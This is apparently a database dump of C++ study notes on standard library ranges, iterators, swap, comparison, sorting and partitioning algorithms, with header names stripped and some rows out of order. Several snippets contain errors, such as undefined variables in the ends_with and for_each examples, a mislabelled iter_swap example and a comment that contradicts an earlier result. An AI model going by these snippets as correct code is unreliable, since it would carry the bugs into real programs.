2024-07-28 09:49:21.6011 -1501 474 // C++20\nusing file_time_type = std::chrono::time_point; code txt 2024-07-28 09:49:21.621608 -1502 474 #include \n#include \n#include text txt 2024-07-28 09:49:21.641967 -1503 474 int main(int argc, char** argv)\n{\n std::filesystem::path file_path{argv[0]};\n std::filesystem::file_time_type last_write_time = std::filesystem::last_write_time(file_path);\n std::cout << std::format("{0:%F 0:%R}\\\\n", last_write_time);\n} code txt 2024-07-28 09:49:21.662842 -1504 475 `std::ssize()` is a C++20 function template that returns the size information\nof the passed-in range or array as a signed integer (typically\n`std::ptrdiff_t`). The range version `std::ranges::ssize()` instead uses the\nrange-style "customization point object" approach while maintaining the same\nfunctionality. This allows for simpler code when working with raw indexes. text txt 2024-07-28 09:49:22.341083 -1505 475 #include \n#include text txt 2024-07-28 09:49:22.361731 -1506 475 int main() {\n std::vector data{1, 2, 3, 4, 5, 6}; text txt 2024-07-28 09:49:22.381861 -1507 475 // z is the literal suffix for signed size type\n for (auto i = 0z; i < ssize(data); i++) {\n int sum = 0;\n if (i - 1 >= 0)\n sum += data[i-1];\n sum += data[i];\n if (i + 1 < ssize(data))\n sum += data[i+1];\n std::cout << "" << sum << "\\\\n";\n } // prints 3, 6, 9, 12, 15, 11\n} code txt 2024-07-28 09:49:22.403583 -1508 476 A *range* is denoted by a pair of *iterators*, or more generally, since\nC++20, an *iterator* and a *sentinel*. text txt 2024-07-28 09:49:23.503368 -1509 476 To reference the entire content of a data structure, we can use the `begin()`\nand `end()` methods that return an iterator to the first element and an\niterator one past the last element, respectively. Hence, the range [begin,\nend) contains all data structure elements. text txt 2024-07-28 09:49:23.525156 -1510 476 #include \n#include \n#include text txt 2024-07-28 09:49:23.546342 -1511 476 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::for_each(std::begin(numbers), std::end(numbers), [](auto e) { std::cout << e << " "; });\n} code txt 2024-07-28 09:49:23.568485 -1512 476 *Sentinels* follow the same idea. However, they do not need to be of an\n*iterator* type. Instead, they only need to be comparable to an *iterator*.\nThe exclusive end of the range is then the first iterator that compares equal\nto the sentinel. text txt 2024-07-28 09:49:23.590447 -1513 476 #include \n#include \n#include \n#include text txt 2024-07-28 09:49:23.611915 -1514 476 template\nstruct sentinel\n{\n using iter_t = typename std::vector::iterator;\n iter_t begin;\n std::iter_difference_t count;\n bool operator==(iter_t const& other) const { return std::distance(begin, other) >= count; }\n}; text txt 2024-07-28 09:49:23.632303 -1515 476 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::vector::iterator iter = numbers.begin();\n std::ranges::for_each(iter, sentinel{iter, 3}, [](auto e) { std::cout << e << " "; });\n} code txt 2024-07-28 09:49:23.652891 -1516 477 #include \n#include \n#include text txt 2024-07-28 09:49:24.337007 -1517 477 int main()\n{\n std::vector random_access{1,2,3,4,5};\n std::list bidirectional{1,2,3,4,5}; text txt 2024-07-28 09:49:24.35831 -1518 477 auto random_access_iterator = random_access.begin();\n random_access_iterator += 3; // OK\n random_access_iterator++; // OK\n ssize_t random_difference = random_access_iterator - random_access.begin(); // OK: 4 text txt 2024-07-28 09:49:24.379499 -1519 477 auto bidirectional_iterator = bidirectional.begin();\n //bidirectional_iterator += 5; // ERROR\n std::advance(bidirectional_iterator, 3); // OK\n bidirectional_iterator++; // OK, all iterators provide advance operation\n //ssize_t bidirectional_difference = bidirectional_iterator - bidirectional.begin(); // ERROR\n ssize_t bidirectional_difference = std::distance(bidirectional.begin(), bidirectional_iterator); // OK: 4\n} code txt 2024-07-28 09:49:24.399462 -1520 478 When copying ranges, we need to take care when the input and output ranges\noverlap. For `std::copy`, only the tail of the destination range can overlap\nthe source range; for `std::copy_backward`, only the head of the destination\nrange can overlap the source range. text txt 2024-07-28 09:49:25.078243 -1521 478 #include \n#include text txt 2024-07-28 09:49:25.099483 -1522 478 std::vector data{ 1, 2, 3, 4, 5, 6, 7, 8, 9 }; text txt 2024-07-28 09:49:25.120449 -1523 478 // OK for std::copy\n// [ source range ]\n// [ destination range ]\nstd::copy(data.begin() + 1, data.end(), data.begin());\n// data == {2, 3, 4, 5, 6, 7, 8, 9, 9} text txt 2024-07-28 09:49:25.142063 -1524 478 data = {1, 2, 3, 4, 5, 6, 7, 8, 9}; text txt 2024-07-28 09:49:25.162159 -1525 478 // OK for std::copy_backward\n// [ source range ]\n// [ destination range ]\nstd::copy_backward(data.begin(), data.begin() + 8, data.end());\n// data == {1, 1, 2, 3, 4, 5, 6, 7, 8} code txt 2024-07-28 09:49:25.183124 -1526 479 - Iteration over a sequence for arbitrary action on each element: `for_each`, `for_each_n`, `transform`\n- Searching through a sequence: `find`, `find_if`, `find_end`, `search`, `count`, `any_of`, `adjacent_find`\n- Mutate the sequence: `copy`, `copy_if`, `move`, `fill`, `replacd`, `generate`, `rotate`\n- Sort in various ways: `sort`, `stable_sort`, `partial_sort`, `nth_element`, `is_sorted`\n- Reduction and scans: `reduce`, `transform_reduce`, `inclusive_scan`, `exclusive_scan` text txt 2024-07-28 09:49:25.548245 -1527 480 The algorithms that have the overload with `std::execution` enumeration as\nfirst parameter. text txt 2024-07-28 09:49:26.029294 -1528 480 #include \n#include text txt 2024-07-28 09:49:26.049714 -1529 480 int main()\n{\n std::vector numbers{42,73,10,35,89,24};\n std::sort(std::execution::par, std::begin(numbers), std::end(numbers));\n} code txt 2024-07-28 09:49:26.071209 -1530 481 The overhead of creating and managing threads on two operations costs highly.\nIt would be better to join the operations in one parallel execution. text txt 2024-07-28 09:49:26.660069 -1531 481 #include \n#include text txt 2024-07-28 09:49:26.680584 -1532 481 int main()\n{\n std::vector numbers{1,2,3,4,5,6}; text txt 2024-07-28 09:49:26.700129 -1855 545 Using C++23: text txt 2024-07-28 09:50:16.455795 -1915 570 code txt 2024-07-28 09:50:28.36522 -1534 481 // instead we can combine the two\n std::transform_reduce(std::execution::par, numbers.begin(), numbers.end());\n} code txt 2024-07-28 09:49:26.741849 -1535 482 #include text txt 2024-07-28 09:49:27.106588 -1536 482 std::min(42, 87);\nstd::min({2,5,8,23,43});\nstd::max(34, 47);\nstd::max({4,8,12,42}); code txt 2024-07-28 09:49:27.127207 -1537 483 Starting with C++23, basic strings support `starts_with()` operation: text txt 2024-07-28 09:49:27.512533 -1538 483 #include text txt 2024-07-28 09:49:27.532606 -1539 483 std::ranges::starts_with("Hello World", "Hello");\n// true code txt 2024-07-28 09:49:27.553234 -1540 484 Starting with C++23, basic strings support `ends_with()` operation: text txt 2024-07-28 09:49:27.914929 -1541 484 #include \n#include text txt 2024-07-28 09:49:27.935656 -1542 484 std::vector nums {1, 2, 3, 4};\nstd::ranges::ends_with(v, {3, 4});\n// true code txt 2024-07-28 09:49:27.957605 -1543 485 C++23 standard includes `std::ranges::to<>`. text txt 2024-07-28 09:49:28.460855 -1544 485 #include \n#include text txt 2024-07-28 09:49:28.480668 -1545 485 int main()\n{\n std::string alphabet = std::views::iota('a', 'z')\n | std::views::transform([](auto const v){ return v - 32; })\n | std::ranges::to(); text txt 2024-07-28 09:49:28.50115 -1546 485 std::string abc = alphabet | std::views::take(3) | std::ranges::to();\n} code txt 2024-07-28 09:49:28.522098 -1547 486 Containers of the same type can be easily compared using comparison\noperators. When we need to compare the content of containers of different\ntypes, we can use the `std::equal` and `std::is_permutation` algorithms. text txt 2024-07-28 09:49:29.349212 -1548 486 #include \n#include \n#include text txt 2024-07-28 09:49:29.369273 -1549 486 std::vector data1{2, 1, 3, 4, 5};\nstd::vector data2{2, 4, 1, 3, 5}; text txt 2024-07-28 09:49:29.389696 -1550 486 // Linear comparison:\nbool cmp1 = std::equal(data1.begin(), data1.end(), data2.begin());\n// cmp1 == false text txt 2024-07-28 09:49:29.410551 -1551 486 bool cmp2 = (data1 == data2);\n// cmp2 == false (same as std::equal if types match) text txt 2024-07-28 09:49:29.431532 -1552 486 // Elements match but are potentially out of order:\nbool cmp3 = std::is_permutation(data1.begin(), data1.end(), data2.begin());\n// cmp3 == true text txt 2024-07-28 09:49:29.451476 -1553 486 std::set data3{1, 2, 3, 4, 5}; text txt 2024-07-28 09:49:29.471845 -1554 486 // Linear comparison:\nbool cmp4 = std::ranges::equal(data1, data3);\n// cmp4 == false text txt 2024-07-28 09:49:29.492985 -1555 486 // Elements match but are potentially out of order:\nbool cmp5 = std::ranges::is_permutation(data1, data3);\n// cmp5 == true code txt 2024-07-28 09:49:29.514189 -1556 487 | `std::for_each` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:31.518172 -1557 487 Invokes the provided functor on each range element in order, ignoring the result. text txt 2024-07-28 09:49:31.539401 -1558 487 While the range-based for-loop has mostly replaced the use cases for\n`std::for_each`, it still comes in handy as a trivial parallelization tool\nand in its C++20 range version with projections. text txt 2024-07-28 09:49:31.559828 -1559 487 #include \n#include \n#include text txt 2024-07-28 09:49:31.580267 -1560 487 int main()\n{\n std::vector numbers{1, 2, 3, 4, 5};\n long sum{}; text txt 2024-07-28 09:49:31.601289 -1561 487 sum = std::for_each(numbers.begin(), numbers.end(), sum_predicate{});\n // sum == 15, using a unary predicate text txt 2024-07-28 09:49:31.621849 -1562 487 std::for_each(numbers.begin(), numbers.end(), [&sum](auto v) { sum += v; });\n // sum == 30, using a lambda text txt 2024-07-28 09:49:31.643334 -1563 487 std::ranges::for_each(numbers, [&sum](auto v) { count++; sum += v; });\n // sum == 45, using ranges text txt 2024-07-28 09:49:31.665113 -1564 487 for (auto v: numbers) { sum += v; }\n // sum == 60, using range-based for\n} code txt 2024-07-28 09:49:31.685801 -1565 487 #include \n#include text txt 2024-07-28 09:49:31.706192 -1566 487 int main()\n{\n std::vector data{1, 2, 3, 4, 5}; text txt 2024-07-28 09:49:31.726547 -1567 487 std::for_each(data.begin(), data.end(), [i = 5](int& v) mutable { v += i--; });\n // data == {6, 6, 6, 6, 6}\n} code txt 2024-07-28 09:49:31.748193 -1568 487 #include \n#include \n#include text txt 2024-07-28 09:49:31.768412 -1569 487 int main()\n{\n struct Custom {};\n void process(Custom&) {}\n std::vector rng(10, Custom{}); text txt 2024-07-28 09:49:31.789686 -1570 487 // parallel execution C++17\n std::for_each(std::execution::par_unseq, // parallel, in any order\n rng.begin(), rng.end(), // all elements\n process // invoke process on each element\n );\n} code txt 2024-07-28 09:49:31.810127 -1571 487 #include \n#include \n#include text txt 2024-07-28 09:49:31.829572 -1572 487 int main()\n{\n std::vector> opt{{},2,{},4,{}};\n // range version with projection C++20 text txt 2024-07-28 09:49:31.849843 -1573 487 std::ranges::for_each(opt,\n [](int v) {\n // iterate over projected values\n // {0, 2, 0, 4, 0}\n },\n [](std::optional& v){\n // projection that will return\n // the contained value or zero\n return v.value_or(0);\n }\n );\n} code txt 2024-07-28 09:49:31.871037 -1574 488 As long as the operations are independent, there is no need for\nsynchronization primitives. text txt 2024-07-28 09:49:32.827695 -1575 488 #include \n#include \n#include \n#include text txt 2024-07-28 09:49:32.84949 -1576 488 struct work\n{\n void expensive_operation() { /* ... */ }\n}; text txt 2024-07-28 09:49:32.870838 -1577 488 int main()\n{\n std::vector work_pool{work{}, work{}, work{}};\n std::for_each(std::execution::par_unseq, work_pool.begin(), work_pool.end(), [](work& w) { w.expensive_operation(); });\n} code txt 2024-07-28 09:49:32.891628 -1578 488 When synchronization is required, operations need to be atmoic. text txt 2024-07-28 09:49:32.91238 -1579 488 #include \n#include \n#include \n#include text txt 2024-07-28 09:49:32.931908 -1580 488 int main()\n{\n std::vector numbers{1,2,3,4,5};\n std::atomic sum{};\n std::for_each(std::execution::par_unseq, numbers.begin(), numbers.end(), [&sum](auto& e) { sum += e; });\n} code txt 2024-07-28 09:49:32.951888 -1581 488 Note: parallel execution requires *libtbb* library to be linked. text txt 2024-07-28 09:49:32.971449 -1582 489 #include \n#include \n#include text txt 2024-07-28 09:49:33.558091 -1583 489 struct work_unit\n{\n size_t value;\n work_unit(size_t initial): value{std::move(initial)} {}\n size_t current() const { return value; }\n}; text txt 2024-07-28 09:49:33.578815 -1584 489 int main()\n{\n size_t sum{};\n std::vector tasks{1,2,3};\n std::ranges::for_each(tasks, [&sum](auto const& e) { sum += e; }, &work_unit::current);\n // sum: 6\n} code txt 2024-07-28 09:49:33.599435 -1856 545 #include \n#include \n#include text txt 2024-07-28 09:50:16.479117 -1585 490 | `std::for_each_n` | standard |\n| --- | --- |\n| introduced | C++17 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:34.340596 -1586 490 While `std::for_each` operates on the entire range, the interval $[begin,\nend)$, while the `std::for_each_n` operates on the range $[first, first +\nn)$. text txt 2024-07-28 09:49:34.361015 -1587 490 #include \n#include text txt 2024-07-28 09:49:34.382077 -1588 490 int main()\n{\n std::vector numbers{1,2,3,4,5,6};\n std::size_t sum{};\n std::for_each_n(numbers.begin(), 3, [&sum](auto const& e) { sum += e; });\n // sum = 6\n} code txt 2024-07-28 09:49:34.402636 -1589 490 Importantly, because the algorithm does not have access to the end iterator\nof the source range, it does no out-of-bounds checking, and it is the\nresponsibility of the caller to ensure that the range $[first, first + n)$ is\nvalid. text txt 2024-07-28 09:49:34.42329 -1590 491 | `std::swap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:35.131004 -1591 491 Correctly calling swap requires pulling the default `std::swap` version to\nthe local scope. text txt 2024-07-28 09:49:35.151604 -1592 491 #include text txt 2024-07-28 09:49:35.172486 -1593 491 namespace library\n{\n struct container { long value; };\n} text txt 2024-07-28 09:49:35.19244 -1594 491 int main()\n{\n library::container a{3}, b{4};\n std::ranges::swap(a, b); // first calls library::swap\n // then it calls the default move-swap\n} code txt 2024-07-28 09:49:35.213507 -1595 492 | `std::iter_swap` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | N/A |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:35.923813 -1596 492 The `std::iter_swap` is an indirect swap, swapping values behind two forward\niterators. text txt 2024-07-28 09:49:35.945015 -1597 492 #include \n#include text txt 2024-07-28 09:49:35.966511 -1598 492 int main()\n{\n auto p1 = std::make_unique(1);\n auto p2 = std::make_unique(2); text txt 2024-07-28 09:49:35.987512 -1599 492 int *p1_pre = p1.get();\n int *p2_pre = p2.get(); text txt 2024-07-28 09:49:36.007796 -1600 492 std::ranges::swap(p1, p2);\n // p1.get() == p1_pre, *p1 == 2\n // p2.get() == p2_pre, *p2 == 1\n} code txt 2024-07-28 09:49:36.027781 -1601 493 | `std::swap_ranges` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:36.564865 -1602 493 #include \n#include text txt 2024-07-28 09:49:36.586525 -1603 493 int main()\n{\n std::vector numbers{1,2,3,4,5,6};\n std::swap_ranges(numbers.begin(), numbers.begin()+2, numbers.rbegin());\n // numbers: {6,5,3,4,2,1}\n} code txt 2024-07-28 09:49:36.607324 -1604 494 Customizing swap for user-defined types and correctly calling swap with a\nfallback can be tricky. If we are not using the C++20 range version, we need\nto correctly implement the customized version as a friend function (making it\nvisible only to ADL) and pull in the default swap when calling it (to get the\nfallback). text txt 2024-07-28 09:49:37.685464 -1605 494 #include text txt 2024-07-28 09:49:37.706263 -1606 494 namespace MyNamespace\n{\nstruct MyClass\n{\n // Use inline friend function to implement custom swap.\n friend void swap(MyClass&, MyClass&) { }\n}; text txt 2024-07-28 09:49:37.727367 -1607 494 struct MyOtherClass {};\n} // MyNamespace text txt 2024-07-28 09:49:37.748192 -1608 494 MyNamespace::MyClass a, b;\nMyNamespace::MyOtherClass x, y; text txt 2024-07-28 09:49:37.768323 -1609 494 // Fully qualified call, will always call std::swap\nstd::swap(a,b); // calls std::swap\nstd::swap(x,y); // calls std::swap text txt 2024-07-28 09:49:37.788551 -1610 494 // No suitable swap for MyOtherClass.\nswap(a,b); // calls MyNamespace::swap\n// swap(x,y); // would not compile text txt 2024-07-28 09:49:37.809483 -1611 494 // Pull std::swap as the default into local scope:\nswap(a,b); // calls MyNamespace::swap\nswap(x,y); // would not compile text txt 2024-07-28 09:49:37.829351 -1612 494 // Pull std::swap as the default into local scope: text txt 2024-07-28 09:49:37.849658 -1613 494 using std::swap;\nswap(a,b); // calls MyNamespace::swap\nswap(x,y); // calls std::swap text txt 2024-07-28 09:49:37.8709 -1614 494 // C++20 std::ranges::swap which will do the correct thing:\nstd::ranges::swap(x,y); // default swap\nstd::ranges::swap(a,b); // calls MyNamespace::swap code txt 2024-07-28 09:49:37.893131 -1615 495 Implementing a `strict_weak_ordering` for a custom type, at minimum requires\nproviding an overload of `operator<`. text txt 2024-07-28 09:49:38.913742 -1616 495 A good default for a `strict_weak_ordering` implementation is\n*lexicographical ordering*. text txt 2024-07-28 09:49:38.934985 -1617 495 Since C++20 introduced the spaceship operator, user-defined types can easily\naccess the default version of *lexicographical ordering*. text txt 2024-07-28 09:49:38.955427 -1618 495 struct Point {\n int x;\n int y; text txt 2024-07-28 09:49:38.975542 -1619 495 // pre-C++20 lexicographical less-than\n friend bool operator<(const Point& left, const Point& right)\n {\n if (left.x != right.x)\n return left.x < right.x;\n return left.y < right.y;\n } text txt 2024-07-28 09:49:38.997603 -1620 495 // default C++20 spaceship version of lexicographical comparison\n friend auto operator<=>(const Point&, const Point&) = default; text txt 2024-07-28 09:49:39.019173 -1621 495 // manual version of lexicographical comparison using operator <=>\n friend auto operator<=>(const Point& left, const Point& right)\n {\n if (left.x != right.x)\n return left.x <=> right.x;\n return left.y <=> right.y;\n }\n}; code txt 2024-07-28 09:49:39.038423 -1622 495 The type returned for the spaceship operator is the common comparison\ncategory type for the bases and members, one of: text txt 2024-07-28 09:49:39.059432 -1623 495 * `std::strong_ordering`\n* `std::weak_ordering`\n* `std::partial_ordering` text txt 2024-07-28 09:49:39.079374 -1624 496 Lexicographical `strict_weak_ordering` for ranges is exposed through the\n`std::lexicographical_compare` algorithm. text txt 2024-07-28 09:49:40.092827 -1625 496 | `std::lexicographical_compare` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:40.113604 -1626 496 #include \n#include \n#include \n#include text txt 2024-07-28 09:49:40.135448 -1627 496 int main()\n{\n std::vector range1{1, 2, 3};\n std::vector range2{1, 3};\n std::vector range3{1, 3, 1}; text txt 2024-07-28 09:49:40.157434 -1628 496 bool cmp1 = std::lexicographical_compare(range1.cbegin(), range1.cend(), range2.cbegin(), range2.cend());\n // same as\n bool cmp2 = range1 < range2;\n // cmp1 = cmp2 = true text txt 2024-07-28 09:49:40.178216 -1629 496 bool cmp3 = std::lexicographical_compare(range2.cbegin(), range2.cend(), range3.cbegin(), range3.cend());\n // same as\n bool cmp4 = range2 < range3;\n // cmp3 = cmp4 = true text txt 2024-07-28 09:49:40.199663 -1630 496 std::vector range4{"Zoe", "Alice"};\n std::vector range5{"Adam", "Maria"};\n auto compare_length = [](auto const& l, auto const& r) { return l.length() < r.length(); }; text txt 2024-07-28 09:49:40.221056 -1631 496 bool cmp5 = std::ranges::lexicographical_compare(range4, range5, compare_length);\n // different than\n bool cmp6 = range1 < range2;\n // cmp5 = true, cmp6 = false\n} code txt 2024-07-28 09:49:40.241766 -1632 497 | `std::lexicographical_compare_three_way` | standard |\n| --- | --- |\n| introduced | C++20 |\n| constexpr | C++20 |\n| paralllel | N/A |\n| rangified | N/A | text txt 2024-07-28 09:49:41.101865 -1633 497 The `std::lexicographical_compare_three_way` is the spaceship operator\nequivalent to `std::lexicographical_compare`. It returns one of: text txt 2024-07-28 09:49:41.122621 -1634 497 * `std::strong_ordering`\n* `std::weak_ordering`\n* `std::partial_ordering` text txt 2024-07-28 09:49:41.144833 -1635 497 The type depends on the type returned by the elements’ spaceship operator. text txt 2024-07-28 09:49:41.165408 -1636 497 #include \n#include \n#include text txt 2024-07-28 09:49:41.186377 -1637 497 int main()\n{\n std::vector numbers1{1, 1, 1};\n std::vector numbers2{1, 2, 3}; text txt 2024-07-28 09:49:41.206747 -1638 497 auto cmp1 = std::lexicographical_compare_three_way(numbers1.cbegin(), numbers1.cend(), numbers2.cbegin(), numbers2.cend());\n // cmp1 = std::strong_ordering::less text txt 2024-07-28 09:49:41.227716 -1639 497 std::vector strings1{"Zoe", "Alice"};\n std::vector strings2{"Adam", "Maria"}; text txt 2024-07-28 09:49:41.247867 -1640 497 auto cmp2 = std::lexicographical_compare_three_way(strings1.cbegin(), strings1.cend(), strings2.cbegin(), strings2.cend());\n // cmp2 = std::strong_ordering::greater\n} code txt 2024-07-28 09:49:41.269276 -1641 498 The `std::sort` algorithm is the canonical `O(N log N)` sort (typically\nimplemented as *intro-sort*). text txt 2024-07-28 09:49:41.539178 -1642 498 Due to the `O(N log N)` complexity guarantee, `std::sort` only operates on\n`random_access` ranges. Notably, `std::list` offers a method with an\napproximate `O(N log N)` complexity. text txt 2024-07-28 09:49:41.560211 -1643 499 | `std::sort` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:42.377113 -1644 499 #include \n#include \n#include \n#include text txt 2024-07-28 09:49:42.397309 -1645 499 struct Account\n{\n long value() { return value_; }\n long value_;\n}; text txt 2024-07-28 09:49:42.417752 -1646 499 int main()\n{\n std::vector series1{6,2,4,1,5,3};\n std::sort(series1.begin(), series1.end()); text txt 2024-07-28 09:49:42.437528 -1647 499 std::list series2{6,2,4,1,5,3};\n //std::sort(series2.begin(), series2.end()); // won't compile\n series2.sort(); text txt 2024-07-28 09:49:42.458464 -1648 499 // With C++20, we can take advantage of projections to sort by a method or member\n std::vector accounts{{6},{2},{4},{1},{5},{3}};\n std::ranges::sort(accounts, std::greater<>{}, &Account::value);\n} code txt 2024-07-28 09:49:42.480332 -1649 500 The `std::sort` is free to re-arrange equivalent elements, which can be\nundesirable when re-sorting an already sorted range. The `std::stable_sort`\nprovides the additional guarantee of preserving the relative order of equal\nelements. text txt 2024-07-28 09:49:43.404862 -1650 500 | `std::stable_sort` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 09:49:43.425177 -1651 500 If additional memory is available, `stable_sort` remains `O(n log n)`.\nHowever, if it fails to allocate, it will degrade to an `O(n log n log n)` algorithm. text txt 2024-07-28 09:49:43.446374 -1652 500 #include \n#include \n#include \n#include text txt 2024-07-28 09:49:43.468537 -1653 500 struct Record\n{\n std::string label;\n short rank;\n}; text txt 2024-07-28 09:49:43.490988 -1654 500 int main()\n{\n std::vector records{{"b", 2}, {"e", 1}, {"c", 2}, {"a", 1}, {"d", 3}}; text txt 2024-07-28 09:49:43.514136 -1655 500 std::ranges::stable_sort(records, {}, &Record::label);\n // guaranteed order: a-1, b-2, c-2, d-3, e-1 text txt 2024-07-28 09:49:43.534403 -1656 500 std::ranges::stable_sort(records, {}, &Record::rank);\n // guaranteed order: a-1, e-1, b-2, c-2, d-3\n} code txt 2024-07-28 09:49:43.554988 -1657 501 | `std::is_sorted` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:44.236176 -1658 501 #include \n#include \n#include text txt 2024-07-28 09:49:44.257527 -1659 501 int main()\n{\n std::vector data1 = {1, 2, 3, 4, 5};\n bool test1 = std::is_sorted(data1.begin(), data1.end());\n // test1 == true text txt 2024-07-28 09:49:44.278533 -1660 501 std::vector data2 = {5, 4, 3, 2, 1};\n bool test2 = std::ranges::is_sorted(data2);\n // test2 == false text txt 2024-07-28 09:49:44.298693 -1661 501 bool test3 = std::ranges::is_sorted(data2, std::greater<>{});\n // test3 == true\n} code txt 2024-07-28 09:49:44.318589 -1662 502 | `std::is_sorted_until` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:44.891993 -1663 502 #include \n#include \n#include text txt 2024-07-28 09:49:44.913585 -1664 502 int main()\n{\n std::vector numbers{1,2,3,6,5,4};\n auto iter = std::ranges::is_sorted_until(numbers);\n // *iter = 6\n} code txt 2024-07-28 09:49:44.934107 -1665 503 | `std::partial_sort` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:45.692113 -1666 503 The `std::partial_sort` algorithm reorders the range’s elements such that the\nleading sub-range is in the same order it would when fully sorted. However,\nthe algorithm leaves the rest of the range in an unspecified order. text txt 2024-07-28 09:49:45.712544 -1667 503 #include \n#include \n#include text txt 2024-07-28 09:49:45.732714 -1668 503 int main()\n{\n std::vector data{9, 8, 7, 6, 5, 4, 3, 2, 1}; text txt 2024-07-28 09:49:45.75402 -1669 503 std::partial_sort(data.begin(), data.begin()+3, data.end());\n // data == {1, 2, 3, -unspecified order-} text txt 2024-07-28 09:49:45.774487 -1670 503 std::ranges::partial_sort(data, data.begin()+3, std::greater<>());\n // data == {9, 8, 7, -unspecified order-}\n} code txt 2024-07-28 09:49:45.794756 -1671 503 The benefit of using a partial sort is faster runtime — approximately `O(N\nlog K)`, where `K` is the number of elements sorted. text txt 2024-07-28 09:49:45.816738 -1672 504 | `std::partial_sort_copy` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:46.532627 -1673 504 The `std::partial_sort_copy` algorithm has the same behaviour as\n`std::partial_sort`; however, it does not operate inline. Instead, the\nalgorithm writes the results to a second range. text txt 2024-07-28 09:49:46.552944 -1674 504 #include \n#include \n#include text txt 2024-07-28 09:49:46.572638 -1675 504 int main()\n{\n std::vector top(3); text txt 2024-07-28 09:49:46.594121 -1676 504 // input == "0 1 2 3 4 5 6 7 8 9"\n auto input = std::istream_iterator(std::cin);\n auto cnt = std::counted_iterator(input, 10); text txt 2024-07-28 09:49:46.615156 -1677 504 std::ranges::partial_sort_copy(cnt, std::default_sentinel, top.begin(), top.end(), std::greater<>{});\n // top == { 9, 8, 7 }\n} code txt 2024-07-28 09:49:46.636137 -1678 505 #include \n#include \n#include text txt 2024-07-28 09:49:47.18393 -1679 505 int main()\n{\n std::vector numbers{1,2,3,4,5}; text txt 2024-07-28 09:49:47.20466 -1680 505 auto last_sorted = std::is_sorted_until(numbers.begin(), numbers.end()); text txt 2024-07-28 09:49:47.224752 -1681 505 for (auto iter = numbers.begin(); iter != last_sorted; ++iter)\n continue; text txt 2024-07-28 09:49:47.244944 -1682 505 for (auto v: std::ranges::subrange(numbers.begin(), last_sorted))\n continue;\n} code txt 2024-07-28 09:49:47.265144 -1683 506 | `std::partition` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:48.12282 -1684 506 The `std::partition` algorithm provides the basic partitioning functionality,\nreordering elements based on a unary predicate. The algorithm returns the\npartition point, an iterator to the first element for which the predicate\nreturned `false`. text txt 2024-07-28 09:49:48.143601 -1685 506 #include \n#include \n#include \n#include text txt 2024-07-28 09:49:48.164472 -1686 506 struct ExamResult\n{\n std::string student_name;\n int score;\n}; text txt 2024-07-28 09:49:48.186272 -1687 506 int main()\n{\n std::vector results{{"Jane Doe", 84}, {"John Doe", 78}, {"Liz Clarkson", 68}, {"David Teneth", 92}}; text txt 2024-07-28 09:49:48.207779 -1688 506 auto partition_point = std::partition(results.begin(), results.end(), [threshold=80](auto const& e) { return e.score >= threshold; }); text txt 2024-07-28 09:49:48.227905 -1689 506 std::for_each(results.begin(), partition_point, [](auto const& e) { std::cout << "[PASSED] " << e.student_name << "\\\\n"; });\n std::for_each(partition_point, results.end(), [](auto const& e) { std::cout << "[FAILED] " << e.student_name << "\\\\n"; });\n} code txt 2024-07-28 09:49:48.250657 -1690 507 | `std::stable_partition` | standard |\n| --- | --- |\n| introduced | C++98 |\n| paralllel | C++17 |\n| constexpr | N/A |\n| rangified | C++20 | text txt 2024-07-28 09:49:48.796713 -1691 507 The `std::partition` algorithm is permitted to rearrange the elements with\nthe only guarantee that elements for which the predicate evaluated to true\nwill precede elements for which the predicate evaluated to false. But this\nbehaviour might be undesirable, for example, for UI elements. text txt 2024-07-28 09:49:48.818216 -1692 507 The `std::stable_partition` algorithm adds the guarantee of preserving the\nrelative order of elements in both partitions. text txt 2024-07-28 09:49:48.839369 -1693 507 auto& widget = get_widget();\nstd::ranges::stable_partition(widget.items, &Item::is_selected); code txt 2024-07-28 09:49:48.859925 -1694 508 | `std::is_partitioned` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:49.433274 -1695 508 #include \n#include \n#include \n#include text txt 2024-07-28 09:49:49.455279 -1696 508 int main()\n{\n std::vector series{2, 4, 6, 7, 9, 11};\n auto is_even = [](auto v) { return v % 2 == 0; };\n bool test = std::ranges::is_partitioned(series, is_even);\n assert(test); // test = true\n} code txt 2024-07-28 09:49:49.476458 -1697 509 | `std::partition_copy` | standard |\n| --- | --- |\n| introduced | C++11 |\n| paralllel | C++17 |\n| constexpr | C++20 |\n| rangified | C++20 | text txt 2024-07-28 09:49:50.228294 -1698 509 The `std::partition_copy` is a variant of `std::partition` that, instead of\nreordering elements, will output the partitioned elements to the two output\nranges denoted by two iterators. text txt 2024-07-28 09:49:50.249579 -1699 509 #include \n#include 